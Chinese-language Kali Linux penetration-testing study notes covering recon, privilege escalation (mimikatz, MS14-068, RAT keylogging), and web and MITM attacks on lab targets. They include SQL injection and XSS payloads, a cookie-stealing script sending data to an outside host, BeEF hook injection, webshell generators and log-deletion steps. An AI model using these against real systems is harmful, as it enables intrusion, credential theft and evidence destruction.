kali
kali linux介绍
- 基于Debian的linux发行版本
- 前身是BackTrack
- 用于渗透测试和安全审计
- 包含600+工具
- FHS标准目录结构
- 定制内核
-支持ARM和收集平台
-开源免费
常用bash命令
ls:查看目录
参数
-l 以长格式输出目录(大小,修改时间等)第一个字符为d表示目录,-表示
文件,c表示字符型设备,l表示表示链接,b表示块设备
-la 显示所有包括隐藏
-lh 以大小显示目录
cd:进入
参数
… 返回上一级目录
pwd:查看工作目录
cat,more,less,tail:查看文件内容
cat全部显示
more查看一条敲回车显示一条
tail默认显示最下方十行即最新的
使用tail时通常会使用
watch -n 2 tail
表示每隔2秒钟循环一次刷新出来信息
cp复制
rm:删除
top:监视系统 进入界面按k可以强行停止某进程
ps:查看进程信息
参数:-ef,aux显示更详细的信息
grep/egrep(功能稍微高级):筛选输出内容,用法:在想查看的目录前输入你想看的字符
ifconfig:查看当前网络配置信息
常用:ifconfig eth0 down/up
关/开网卡
修改网卡地址 macchanger -m
00:::::** eth0
netstat:查看网络连接信息
参数:-pantu查看当前计算机和和那些TCP UDP连接
awk:只显示第五列内容 sort route mount dmesg find whereis Echo vi
mount:显示挂载信息
dmesg:查看dmesg信息
管道 “|”
- 作用:可以让多个命令在同一行的命令里输入
基本工具
NC(NETCAT)
- 被称为瑞士军刀
功能
- 侦听模式/传输模式
- telnet/获取banner信息
- 传输文本信息
- 加密传输文件/目录
- 远程控制木马
- 加密所有流量
- 流媒体服务器
- 远程克隆硬盘
常用参数
-v 显示详细相关信息
作为客户端
-v 显示详细链接相关信息
-n 不DNS解析域名
-l 侦听端口 本地
-p 指定端口号
NC-NCAT
-
包含于nmap中
-
加密管道
Wireshark
功能
- 抓包嗅探协议分析
- 抓包引擎
- Libpcap–linux
- Winpcap–Windows
信息统计
-
节点数
-
协议分布
-
包大小分布
-
会话连接
-
解码方式
-
专家系统
kali渗透测试
测试标准
- PETS
- 前期交互
- 情报收集
- 威胁建模
- 漏洞分析
- 渗透攻击
- 后渗透攻击
- 渗透测试报告
渗透测试误区
- 扫描器就是一切
- 忽视逻辑漏洞
一、信息收集
整体目标
IP地址段
域名信息
邮件地址
敏感目录
端口扫描
旁站C段
整站分析
谷歌hacker
URL采集
信息分析
详细目标
域名:子域名、DNS、CDN,
IP:whois、c端、真实
端口:开放的端口服务、服务版本
邮箱:邮箱服务器地址、邮箱系统软件版本、相关漏洞
企业信息:员工信息(手机号码、邮箱、姓名),组织框架、企业法人、企业综合信息
web信息:cms版本,漏洞历史、http方法、
网站客服:QQ、邮箱、电话
网站敏感文件\信息:备份文件、测试文件、久项目文件
网络收集
-
敏感信息
html源码:明显的代码,注释
DS_store(存储文件夹的显示属性如文件显示属性)导致文件泄露
robots.txt(一个协议,定义了不允许爬行的目录)
屏蔽:使用/*作为通配符和更改后台名字
网站备份压缩文件(备份文件放到网站目录下,可直接下载):zip,rar,bak
vim编辑器备份文件:生成的swp文件
WEB-INF/web.xml泄露
github(初始化代码库的时候会寒生一个.git的隐藏文件,使用后可用来恢复源代码):邮箱,QQ,主机等用户名密码
SVN(开放源代码的版本控制系统 ):未删除的源码程序
crossdomin.xml -
搜索引擎
zoomeye,shodaw,bing搜索,fofa,谛听,Google,天眼查 -
在线工具搜索:
站长工具,站长帮手,爱站,https://phpinfo.me/bing.php
工具收集
- 端口探测
nmap - dns枚举工具
nslookup,dig,whois,dnsenum,fierce - 目录,文件查询
dirbuster,Maltego,nikto,御剑 - 利用搜索引擎工具
theharvester - 子域名爆破工具
layer子域名检测,dmitry,k8,subDomainsBrute
步骤
被动信息收集
DNS
- 域名解析成IP地址
- 域名记录:A(主机记录:域名解析到IP地址上),C name(别名记录:域名解析成另一个域名),NS(域名服务器地址),MX(邮件交换记录)
- IP解析成域名:ptr
工具:
一、 nslookup
set type=a/mx/nx/ptr type=q
nslookup 域名 -type=any/a/mx/ns 指定DNS服务器
二、 digdig 域名 查询类型(any/a/mx/ns)@DNS服务器
输出结果参数
+noall 啥都不显示
+noall +answer 只看answer
-x 反向查询(ptr)- 查看bind(DNS服务器软件)版本信息
dig +noall +answer txt chaos VERSION.BIND @DNS服务器
- DNS追踪
+trace 域名
三、 DNS区域传输:拿到DNS服务器主机记录
dig @域名服务器 域名 axfr
host -T(时间) -l(axfr) 域名
四、 DNS字典爆破 fierce -dnssever 8.8.8.8 -dns sina.com.cn -wordlist /usr/share/fierce/hosts.txt
搜索引擎
一、SHODAN
搜索互联网的设备
banner:http ftp ssh telnet
常见filter:
net:
city:
country:
port:
os:"windows 2000"
Hostname:
server:
二、google语法
关键字和说明
+/- 包含/不包含该关键字
“” 准确查找引号内的内容
site:指定域名
intext:正文中存在关键字的网页
intitle:标题中存在关键字的网页
info:一些基本信息
inurl:URL存在关键字的网页
filetype:搜索指定文件类型
link🔗baidu.com即表示返回所有和百度做了链接的URL
cache:搜索GOOGLE里关于某些内容的缓存
注意
Google只能查询出蜘蛛爬行过的网页,蜘蛛遵照网站根目录robots.txt的约定爬行,若不希望一些敏感目录被爬行,则可以写在网站根目录中
```
```
工具
一、theharvester
一个社会工程学工具,它通过搜索引擎、PGP服务器以及SHODAN数据库收集用户的email,子域名,主机,雇员名,开放端口和banner信息
一般需要翻墙
命令格式
theharvester -d dominname -l limitnumber -b searchengine
二、metagoofil
是一种搜索提取目标公司公开文档(pdf,doc,xls,ppt,docx,pptx,xlsx)中元数据的信息收集工具。
metagoofil -d dominname -l limitnumber -o 下载的位置 -n 下载的数量 -f输出到的文件
三、maltego
强大的社工工具
四、cupp
生成个人密码字典
五、exiftool
查看图片信息
六、recon-ng
全特性的web侦察框架,web信息搜索框架
需要代理
主动信息收集
数据链层发现 arp协议
- 工具和命令
- arping
-c 发送数量 -d
预防arp欺骗 - nmap (二层扫描)(很强大的工具)
nmap -sn
不扫描端口 - Netdiscover
专用于二层发现
可用无线和交换网络环境
主动和被动探测
主动
netdiscover -i eth0 -r 1.1.1.0/24
netdiscover -l iplist
被动
netdiscover -p
(不容易被发现) - Scapy(强大的交互式数据包处理程序)(这里实现二层扫描)
python库,也可以是工具
抓包分析创建修改注入网络流量
sr1()发送请求
- arping
IP,ICMP协议
- 可路由,容易被边界防火墙过滤
5. ping
6. ping -R(返回远的接口ip)/ traceroute(返回近的) ps:TTL值了解一下
7. Scapy
8. nmap
-sn 局域网发一个arp包,外网发icmp包
9. fping类似于ping
fping -g 起始ip 结束ip
10. Hping
TCP和UDP 端口扫描
-
可路由,不容易被过滤
UDP:ICMP(在路由器和IP主机传递控制信息)端口不可达
TCP:未经请求的ACK-RST,SYN-SYN/ACK(端口打开则返回)、RST(关闭则返回)
隐蔽扫描(syn)- 不建立完整连接
- 应用日志不记录扫描行为
僵尸扫描 - 可伪造源地址
- 闲置系统
- IPID递增
- namp (UDP)
ip -PU/A端口号 -sn(表示不做端口扫描) -sU ip UDP端口扫描
- namp(TCP)
-sS ip -p port (--open只显示打开的) -sT ip -p port默认1000个常用端口
- namp
发现僵尸机 -p port ip --script=ipidseq.nse 扫描目标 ip -sl ip -Pn -p port
服务扫描
-
识别开放在端口上的应用
-
识别目标操作系统
-
提高攻击效率
- Banner
- 软件开发商
- 名称
- 服务类型
- 版本号
14. nmap
-sT ip -p port --script=banner
- Banner
-
service
- nmap
ip -p port -sV
通过指纹特征匹配服务 -
snmp
- 简单网络管理协议
- Community strings
- 信息查询或重新配置
- firewall
- 简单网络管理协议
操作系统识别
- TTL起始值
- Windows:128(65 - 128)
- Linux/Unix:64(1-64)
- 某些Unix:255
16. nmap
-O
- 被动识别
- IDS
- 抓包分析
- p0f
SNMP扫描
-
snmp
简单网络管理协议,用于IP网络管理网络节点(服务器,路由器,交换机等)属于应用层协议
-
MIB Tree
-
树形的网络设备管理功能数据库
-
1.3.6.1.4.1.77.1.2.25
-
onesixtyone
ip public
-c dict.txt -i hosts -o my.log -w 100
-
snmpwalk
ip -c public -v snmp版本 如1c,2c,3c
-
snmpcheck
-t ip -c 团队名 -v
-
-
SMB扫描
-
Sever Message Block通信协议
-
空会话访问(SMB1)
-
用户名
-
密码
-
用户,组SID
-
nmap
-v -p port ip
ip -p port --script=smb-os-discovery.nse
-
enum4linux
-a ip
-
-
SMTP扫描
-
邮件服务器
-
nmap
ip -p25 --script=smtp-enum-users.nse --script-args=smtp-enumusers.methods={VRFY}
smtp.163.com -p25 --script=smtp-open-relay.nse
-
防火墙识别
-
一般规则
-
通过检测回包
- nmap
-sA ip -p port
- nmap
负载均衡扫描
- DNS和HTTP
24. lbd
lbd ip
WAF
-
web应用防火墙
-
wafw00f
-l
查看能探测的防火墙 -
nmap
ip --script=http-waf-detect.nse
-
二、漏洞和弱点扫描
一般漏洞利用资源
- 一些网站 如:exploit-db
- searchsploit
弱点扫描
- 主动扫描
- 有无身份验证
- 被动扫描
- 镜像端口抓包
- 其他来源输入
漏洞评估
- CVSS
- CVE
- CCE
- OVAL
扫描器
Openvas
NESSUS
三、缓冲区溢出
- 缓冲区边界限制不严格,由于变量传入的畸形数据或程序运行错误,导致缓冲区被撑爆,覆盖相邻内存区的数据
- 可成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果
四、提权
- 通过各种办法和漏洞,提高自己在服务器中的权限,以便控制全局
- Windows:User>>System
- Linux:>>Root
本地提权
Windows
整体目标:user->Administrator->System
Linux
目标:User->Root
Admin提权为system
-
At
命令安排在特定的日期和时间能运行命令和程序,计划服务必须已在运行中
以此shell启动的都是system权限
关掉explorer进程(桌面环境)
再新建一个explorer进程
当前用户变为了system
- sc
创建一个系统服务
- sc
-
SysInternal Suite
一套windows命令行工具
下载地址
我们选则里面的PsExec,将它复制到C盘里windows的system32里面
看到它以system权限启动了一个cmd
注入进程提权
-
pinjector
下载地址(翻墙)
同样放到system32或者C盘下
常用参数和方法
查看可注入进程
尝试注入services.exe
以5555端口开放,当连接这个端口时,会将进程发过去
如以kali连接
抓包嗅探
获得更多的账号和密码
使用各种抓包工具
如whireshark,sniffpass(windows),dsniff(linux)
键盘记录
-
DarkCometRAT
强大的远程控制器
先生成一个服务端
(将它发送给目标机器执行后会反弹回连)
启动侦听
然后把生成的程序放到目标系统去
成功连接
接下来看看能执行什么操作
捕获远程桌面
键盘记录
本地缓存密码
- 浏览器缓存密码
- 网络密码(凭据管理器)
- 无线密码(查看连接属性)
一个集成许多工具的网站 - PwDump
从SAM文件中读取信息
Windows身份认证
WCE(WINDOWS CREDENTIAL EDITOR)
windows平台下强大的内网渗透工具
从内存中读取信息
位于kali的 /usr/share/wce里面
-
wce-universal -l(v)
显示当前已经登录的账号(详细)
为便于显示,添加a和b两个账号,并登录
-
wce-universal -d LUID
指定一个LUID删除掉session
例如删除b账号
已成功删除
-
wce-universal -g data
生成LM和NT的hash
-
wce-universal -w
从digest中读取明文的密码
防止wce攻击
进入注册表。删除wdigest
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
删除wdigest,整行删除
其他工具
-
fgdump
kali路径 /usr/share/windows-binaries
双击fgdump即可查看 -
mimikatz
功能很强大
kali路径 /usr/share/
::
查看可执行操作
windows漏洞提权
Ms11-080
出现于xp和2003的特权提升漏洞
利用代码
Ms14-068
域管理权限获取
实验演示
-
环境搭建
首先搭建域控制器(必须是sever型)这里选用2003
安装域控制器
暂时关掉windows的防火墙
配置windows的网络IP
将windows加入域
2003启动域管理器
新建一个用户,并设置一个较复杂的密码
xp登录到域
域控制器需要初始化
至此,实验环境搭建完毕
过程
先去kali里找利用的脚本
searchsploit ms14-068
执行脚本获取票据
格式
ms14-068.py -u user@lab.com -s userSID -d dc.lab.com
切换xp为本地管理员账号
拷贝 TGT_user1@lab.com.ccache 到windows中的mimikazi里
本地管理员登陆
mimikatz.exe log “kerberos::ptc TGT_user@lab.com.ccache” exit
由于发现一直报错,尝试各种方法均不能是脚本正常运行,查询资料发现xp不能用
于是我们换window7试一下
把win7加入域
新建一个用户账号user1
生成票据文件,操作和上面一样
注入命令
可以看见成功了
利用配置不当提权
安装程序以system权限启动,NTFS权限允许users修改删除
应用系统的配置文件
- 应用连接数据库的配置文件
- 后台服务运行账号
提权后基本信息收集
Linux
- /etc/resolv.conf
- /etc/passwd 所有用户账号
- /etc/shadow 账号密码
- whoami and who –a
- ifconfig -a, iptables -L -n 查看防火墙, netstat –rn 查看路由设置
- uname –a 查看操作系统版本, ps aux
- dpkg -l| head
Windows
- ipconfig /all , ipconfig /displaydns, netstat -bnao , netstat –r
- net view , net view /domain 网络共享
- net user /domain, net user %username% /domain
- net accounts, net share
- net localgroup administrators username /add
- net group “Domain Controllers” /domain
- net share name$=C:\ /unlimited
- net user username /active:yes /domain
WMIC
- wmic nicconfig get ipaddress,macaddress
- wmic computersystemget username
- wmic netlogin get name,lastlogon
- wmic process get caption, executablepath,commandline
- wmic process where name=“calc.exe" call terminate
- wmic os get name,servicepackmajorversion
- wmic product get name,version
- wmic product where name=“name” call uninstall /nointeractive
- wmic share get /ALL
- wmic /node:“machinename” path Win32_TerminalServiceSetting where AllowTSConnections=“0” call SetAllowTSConnections"1“
- wmic nteventlogget path,filename, writeable
收集敏感数据
Linux
- /etc ;/usr/local/etc
- /etc/password ;/etc/shadow
- .ssh ;.gnupg 公私钥
- The e-mail and data files
- 业务数据库 ;身份认证服务器数据库
- /tmp
windows
- SAM 数据库 ; 注册表文件
- %SYSTEMROOT%\repair\SAM
- %SYSTEMROOT%\System32\config\RegBack\SAM
- 业务数据库 ; 身份认证数据库
- 临时文件目录
- UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\
隐藏痕迹
- 禁止在登陆界面显示新建账号
- REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\WinLogon\SpecialAccounts\UserList” /v uname /T
REG_DWORD /D 0 - del %WINDIR%*.log /a/s/q/f
- History
- 日志
- auth.log / secure
- btmp / wtmp
- lastlog / faillog
- 其他日志和 HIDS 等
五、Web渗透
信息收集
Httrack
- 减少与目标系统的交互,降低被发现的概率
- 复制目标的镜像
Web扫描工具
Nikto
-
基本命令
-host + URL
-host ip -port
-host host.txt
nmap -p80 192.168.1.0/24 -oG - | nikto -host - 混合nmap使用
nikto -host 192.168.1.1 -useproxy 代理
-
Nikto-interactive
Space – report current scan status
v – verbose mode on/off
d – debug mode on/off
e – error reporting on/off
p – progress reporting on/off
r – redirect display on/off
c – cookie display on/off
a – auth display on/off
q – quit
N – next host
P - Pause -
配置文件
可修改
/etc/nikto.conf
STATIC-COOKIE=“cookie1”=“cookie value”;“cookie2”="cookie valu”
-evasion: IDS逃避技术
1 随机URL编码
2 自选路径
3 过早结束的URL
4 优先考虑随机长字符串
5 参数欺骗
6 使用TAB作为命令的分隔符
7 变化URL
使用windows分隔符
skipfish
- 基本命令
-o test1 http://192.168.95.129/dvwa
-o test1 @url.txt 扫描多个
-o test -S complet.wl通过字典扫描
-I:只检查包含’string’的URL
-X:不检查包含’string’的URL
-K:不对指定参数进行Fuzz测试
-D:跨站点爬另一个域
-l:每秒最大请求数
-m:每IP最大并发连接数
–config:指定配置文件
有时候扫描结束得太快,则是触发了目标站点的连接数限制,降低-m,-l数值
- 身份认证
skipfish -A user:pass -o test http://1.1.1.1
skipfish -C “name=val” -o test http://1.1.1.1
w3af
-
plugin 几大插件类型
audit 漏洞板块
infrastructure 基础架构(websever,waf等)
grep 被动探测
evasion 逃避检测
mangle 基于正则表达式的替换
auth 身份认证(如基于表单)
bruteforce 暴力破解
output 导出,由其他插件调用
crawl 如spider
attack 攻击
OWASP-ZAP
主要功能
- 代理
- 扫描(主被动)
- fuzz
- API
基础漏洞挖掘
靶场:DVWA
- 弱口令
- sessionid
- 变量
命令执行
- web应用程序直接调用操作系统功能
- linux下可利用的命令连接符
; && | || &
目录遍历和文件包含
应用程序功能操作文件,限制不严导致访问web目录以外的文件
- 远程文件包含设置
/etc/php5/cgi/php.ini
allow_url_include = on - 特征
?page=a.php
?home=b.html
?file=content
典型测试方法(利用姿势)
?file=../../../../etc/passwd
…/是返回上一级目录
?page=file:///etc/passwd
文件系统
?home=main.cgi
?page=http://www.a.com/1.php
可上传木马
http://1.1.1.1/../../../../dir/file.txt
基本绕过
. %00
- 编码
- 双写
php伪协议
开启远程文件包含
?file=php://input
php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。- php://filter
用于任意文件读取
?file=php://filter/read=convert.base64-encode/resource=index.php
通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行
可能存在包含的地方
访问日志
ssh-log
cookie
防御方法
升级最新版软件:IIS,Apache等
参数过滤危险字符
php
配置open_basedir
限制打开的文件
配置好文件权限,以最小权限为准
文件上传
服务器解析漏洞每个版本不同
绕过姿势
客户端
修改JS代码
服务端
- 文件后缀
常用:jpg:jspx,jspf asp:asa,cer aspx php:php3 php4 phtml pht exe:exee - 文件类型content-type
- 文件头
在文件内容头部分加入其它字符来妨碍检测 - 截断
%00,0x00,/00
防御方法
白名单
上传文件重命名,利用随机数改写
路径验证,设置上传的路径为的权限为不可执行
隐藏上传路径
校验文件内容
SQL injection
基于MYSQL
基础语法
查看库 show databases
创建库 create database dbname
进入库 use database dbname
删除库 drop database dbname
创建表 create table tbname
查看表 show tables
删除表 drop table tbname
查看表数据 select * from tbname
插入 insert into tbname(culomn_name) value()
修改 update tbname set culomn_name = '修改后的' where 定位
删除数据 delete from tbname where 定位
必备知识
用户名 user()
版本 version()
数据库名 database()
数据库路径 @@datadir
安装路径 @@basedir
操作系统 @@version_complie_os
必须记住的表名
一个数据库 information_schema
三个表
schemata:schema_name
tables:table_schema, table_name
columns:table_schema, table_name, column_name
判断方式
字符报错 一般是单引号,双引号,括号
1’and’1’=‘1 正确
1’and’1’='2 错误
order by 判断可注入的字段数
注入方式
union联合注入
例:id=1’union select 1,group_concat(schema_name) from infomation_schema.schemata–+ limit 0,1
盲注
几个函数
length()
mid(字段,长度)
substr(字段,开始位置,长度)
left(字段,长度)
ord()
ascii()
返回ASCII码
floor()
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a floor(rand(0)*2)) a from information_schema.columns group by a;
函数解析
exp():select exp(~(select*from(select user())x))
updatexml():updatexml(anything,concat(0x7e,(SQL语句),0x7e),anything)
extractvalue():extractvalue(anything,concat(0x7e,(SQL语句),0x7e)))
name_const():select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a
时间盲注
benchmark(次数,要执行的表达式):benchmark(100000,md5(1))
sleep()
堆叠
宽字节
过滤单引号 id=1%df'
导入导出文件
Select ***(可以为其他文件,如一句话) into outfile "C:\\***\\***"
HTTP头注入
防御方法
使用预编译语句绑定变量
使用存储过程,尽量避免使用动态的sql语句
使用严格的数据类型
使用一些安全的函数,参考OWASP ESAPI
主要还是过滤危险字符
XSS
过滤不严,向网页中注入恶意代码(通常是js)
假如,你输入的内容原封不动的被返回了,那么就很有可能有xss
常见POC
<script>alert(‘xss’)</script>
<a href='' onclick=alert('xss')>type</a>
<img src=http://1.1.1.1/a.ipg onerror=alert('xss')>
<script>window.location=‘http://1.1.1.1'</script>
<iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
<script>new Image().src="http://1.1.1.1/c.php?
output="+document.cookie;</script>
<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS
WEBSITE IS UNDER ATTACK</h1></div>";</script>
构造方式
- 利用html<>
- 标签属性值 空格 转码ASCII绕过
<table background="javascript:alert(/xss/)">
src href lowsrc bgsound value action 等等
- 事件
onerror onclick onSeek onstop 等等
- CSS 跨站
style
link
@import - 扰乱过滤规则
大小写
单引号
不同全角字符
<img/src="javascript:alert('XSS');"> `<div style="wid/****/th:expre/*XSS*/ssion(alert('XSS')):"}>`
\ \0结束符 - 字符编码
十进制,十六进制编码,unicode,escapes
eval函数计算字符串,并执行其中js代码 - 拆分
对字符输入长度有限制,可多个地点连接
工具xsser
拆分url :-u “URL” -g"含有xss的页面"(get方法)-p""(post方法)
如:
xsser -u "http://192.168.95.129/dvwa/vulnerabilities/" -g"xss_r/?name=1#"
–heuristic 检查被过滤字符
–reverse-check 建立反向连接
编码
–Str Use method String.FromCharCode()
–Une Use Unescape() function
–Mix Mix String.FromCharCode() and Unescape()
–Dec Use Decimal encoding
–Hex Use Hexadecimal encoding
–Hes Use Hexadecimal encoding, with semicolons
–Dwo Encode vectors IP addresses in DWORD
–Doo Encode vectors IP addresses in Octal
–Cem=CEM Try -manually- different Character Encoding Mutations
(reverse obfuscation: good) -> (ex: ‘Mix,Une,Str,Hex’)
注入
–Coo Cross Site Scripting Cookie injection
–Xsa Cross Site Agent Scripting
–Xsr Cross Site Referer Scripting
–Dcp Data Control Protocol injections
–Dom Document Object Model injections
–Ind HTTP Response Splitting Induced code
–Anchor Use Anchor Stealth payloader (DOM shadows!)
–Phpids PHP - Exploit PHPIDS bug (0.6.5) to bypass filters
–Doss XSS Denial of service (server) injection
–Dos XSS Denial of service (client) injection
–B64 Base64 code encoding in META tag (rfc2397)
–Onm ONM - Use onMouseMove() event to inject code
–Ifr Use <iframe>
source tag to inject code
BEFF
浏览器攻击框架
将<script src='http://IP(运行beef主机的IP):3000/hook.js'></script>
插入存在xss漏洞的表单中
常见用途:
键盘记录
网络扫描
结合msf等
防御方法
浏览器:http-only
严格过滤输入和输出字符串
HtmlEncode等各种安全编码函数
CSRF
跨站请求伪造
成因:csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)
也就是说要攻击你,就得能构造出正确的URL来引诱你点击
防御方法
验证码
Referer Check
随机token
webshell工具
WeBaCoo
内容通过cookie传输
cm base64编码
cn 服务器用于返回数据的cookie头名
cp 返回信息定界符
生成服务端:webacoo -g -o a.php
-g 生成服务端代码
-f 执行一些php函数
-o 生成的后门输出文件名
连接客户端:webacoo -t -u http://1.1.1.1/a.php
-t 建立终端
-u backdoorurl
其他:
-e CMD Single command execution mode (-t and -u are required)
-m METHOD HTTP method to be used (default is GET)
-c C_NAME Cookie name (default: “M-cookie”)
-d DELIM Delimiter (default: New random for each request)
-a AGENT HTTP header user-agent (default exist)
-p PROXY Use proxy (tor, ip:port or user:pass:ip:port)
-v LEVEL Verbose level
LEVEL
0: no additional info (default)
1: print HTTP headers
2: print HTTP headers + data
-l LOG Log activity to file
-h Display help and exit
update Check for updates and apply if any
weevely
PHP webshell
管理模块多
支持连接密码
生成服务端:weevely generate <pass>
wee.php
连接:weevely http://1.1.1.1/wee.php <pass>id
连接后可输入help来查看模块
HTTPS攻击
攻击方法
降级
解密
协议漏洞,实现方法的漏洞,配置不严格
查看加密方法
- Openssl
调用openssl库识别目标服务器的加密协议
openssl s_client connect www.xxx.com:443
- SSlscan
自动识别
绿色安全
SSlscan --tlsall www.xxx.com:443
分析证书详细数据
sslscan --show-certificate --no-ciphersuites www.xxx.com:443
- sslyze
sslyze --regular www.xxx.com:443
- Nmap
nmap --script=ssl-enum-ciphers.nse www.xxx.com:443
SSL中间人攻击
大致方向
- ARP
- DHCP
- 修改网关, DNS,HOST
- ICMP, STP, OSPF
攻击前提 - 客户端信任伪造整数
- 控制颁发证书机构
- 客户端禁止证书错误告警信息
- 已控制客户端
工具
- SSLsplit
对客户端伪装成服务端,对服务端伪装成客户端
步骤
-
利用openssl生成证书密钥
openssl genrsa -out ca.key 2048
利用私钥签名生成证书
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt -
由于要转发流量,需要开启路由
启动路由
sysctl -w net.ipv4.ip_forward=1
设置端口转发规则,将客户端发送到中间人443端口的流量转发给sslsplit的端口,由它调用根证书伪造一个网站证书
查看规则
iptables -L
iptables -t nat -L 指定表
iptables -t -F清空规则
添加第一条规则
在路由之前指定,所有用tcp协议发往80端口的全部重定向到8080端口
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
同理
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA(邮件提交代理)
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S
Iptables -t nat -L -
Arp欺骗
arpspoof -i eth0 -t 受害目标 -r 网关 -
启动SSLsplit
mkdir -p test/logdir
创建一个目录存放文件
sslsplit -D -l connect.log -j /root/test -S root/test/logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
-D debug看详细信息
连接信息connect.log
-j 改变root
-S 把请求信息放在该目录
- Mitmproxy
arp欺骗
仅支持8080端口
mitmproxy -T --host -w mitmproxy.log - SSLstrip
将客户端到中间人之间的流量变为明文
arp欺骗
sslsrtip -l 8080
SSL/TLS DDOS
利用SSL secure Renegotiation特性。在单一TCP连接中生成数千SSL重连接请求
工具
- thc-ssl-dos
命令:thc-ssl-dos ip 端口 --accept
对策:禁用SSL-Renegotiation SSL Accelerator
http://www.ha97.com/4009.html)
密码嗅探
知识预备:
- 二,三层地址数据包发送关系
IP 网络到网络
MAC 主机到主机 - 交换机和HUB(集线器)
– HUB全端口转发
– 交换机根据学习地址转发
– 混杂模式抓包 - ARP协议
免费ARP
基于广播学习
以太网头、ARP头
请求、响应相对独立
基于传闻的协议
ARP地址欺骗
实验演示
被欺骗者windows7
欺骗者kali
工具
arpspoof
语法
arpspoof -t 被欺骗者 -r 网关
攻击前
攻击后
可看到mac地址已经变化
目前只是实现win7将发给网关的包发给kali,然后网关也将发给win7的包发给kali
然后为了实现转发包,我们开启kali的路由
echo 1 > /proc/sys/net/ipv4/ip_forward
然后在kali里抓包即可
driftnet
可还原抓数据包传输的图片
driftnet -i eth0 实时监控
driftnet -i eth0 -a -d tempdir -s
-d指定目录 -a辅助模式 不实时显示 把抓到的文件放入一个目录 -s抓取声音文件,仅mpeg格式
webspy
爬取web请求
webspy -i eth0 被欺骗ip
urlsnarf
截获,并解析指定端口的地址
urlsnarf -i eth0
dsniff
dsniff -i eth0 -m(启用自动协议检测)
截取账户和密码,支持部分协议
支持破解的协议
/usr/lib/x86_64-linux-gnu/dsniff.services
效果图
dnsspoof
dns欺骗
dnsspoof -i eth0 -f /usr/lib/x86_64-linux-gnu/dnsspoof.hosts
DNS欺骗
工具
dnschef
前提是能改到被欺骗者的DNS服务器
常用命令格式
dnschef --fakeip=要解析到的ip --fakedomains=www.google.com,www.youtube.com --interface 要监听的网卡ip -q(安静)
中间人攻击
工具
Mitmf
安装
分割线一下,这里坑死了好久!
先列出几个有关kali的问题
- 更新源
2019更新源 - vmwaretools失效
2018后的kali不支持vmtools,需要卸载原版vmtools,重新安装open-vm-tools
卸载vmtoolsvmware-uninstall-tools.pl
安装openapt-get install open-vm-tools-desktop fuse
安装完重启
如果出现虚拟机能给物理机复制,而物理机不能给虚拟机复制,没错!就是我遭遇的,找遍全网!找到了解救办法
/usr/bin/vmware-user
- pip问题
升级pip
一般升级python -m pip install --upgrade pip
失败再尝试python -m pip install -U --force-reinstall pip
pip安装其他包
建议翻墙,贼快!
好吧回归正题
这个安装时有问题的,更新源里好像已经没有mitmf这个东西了,那么怎么办呢?去github里面找
mitmf安装
开始使用
- 注入xss脚本
- 启动beef
cd /usr/share/beef-xss/
./beef
python mitmf.py --spoof --arp -i eth0 --gateway 192.168.95.2 --target 192.168.95.137 --inject --js-url http://192.168.95.157:3000/hook.js
可看到成功注入脚本
- 一些插件
键盘记录
python mitmf.py --spoof --arp -i eth0 --gateway 192.168.95.1 --target
192.168.95.137 --jskeylogger
图片颠倒
–upsidedownternet
屏幕拍照
–screen(/MITMF/log/)每10秒记录一次
效果如下
–ferretng(cookie)
会记录在日志中
–browserprofiler(浏览器及插件信息)
–smbtrap、–smbauth smb抓取
–hsts 绕过hsts协议
–filepwn 插入后门
Ettercap
转发MAC与本机相同,但IP与本机不同的数据包
snifer
负责数据包转发
模式
1.Unified
单网卡情况下独立完成三层包转发
始终禁用内核IP_Forward功能
2.Bridge
双网卡情况下的一层MITM模式
可作为IPS过滤数据包
不可在网关上使用(透明网桥)
攻击方法
MITM(中间人攻击)
把流量重定向到ettercap主机上,可以使用其他工具实现MITM,ettercap之作嗅探和过滤使用
arp欺骗
ICMP路由重定向
DHCP修改网关地址
Switch Port Stealing :flood目标地址是本机,源地址是受害者的包 适用于ARP静态绑定的环境
NDP :ipv6
-
使用
界面
户操作界面
-T 文本界面
-G 图形界面
-C 基于文本的图形界面
-D 后台模式
指定目标
IPv4:MAC/IP1/Ports /IP2/
如
IPv6:MAC/IP1/IPv6/Ports /Ip2/
修改权限
vim /etc/ettercap/etter.conf
修改为0,方便后续操作,可以不修改
命令行版
ettercap -i eth0 -T -M arp:remote -q /192.168.95.137// /192.168.95.2// -w win10.cap -l logsmall -L logall -m message
-w 保存抓包文件
-l,L保存日志文件
-m,抓取的密码
抓取ftp密码效果
图形化
SSL MITM
修改配置文件
gedit /etc/ettercap/etter.conf
DNS欺骗(插件)
修改要欺骗的域名
gedit /etc/ettercap/etter.dns
ettercap -i eth0 -T -M arp:remote -q /192.168.95.137// /192.168.95.2// -w win10.cap -l logsmall -L logall -m message -P dns_spoof
日志查看
Ettercap 日志查看
etterlog -p log.eci 查看获取的密码
etterlog -c log.ecp 列出Log中的连接
etterlog -c -f /1.1.1.1/ log.ecp
etterlog -B -n -s -F TCP:1.1.1.1:20:1.1.1.2:1234 log.ecp > aa
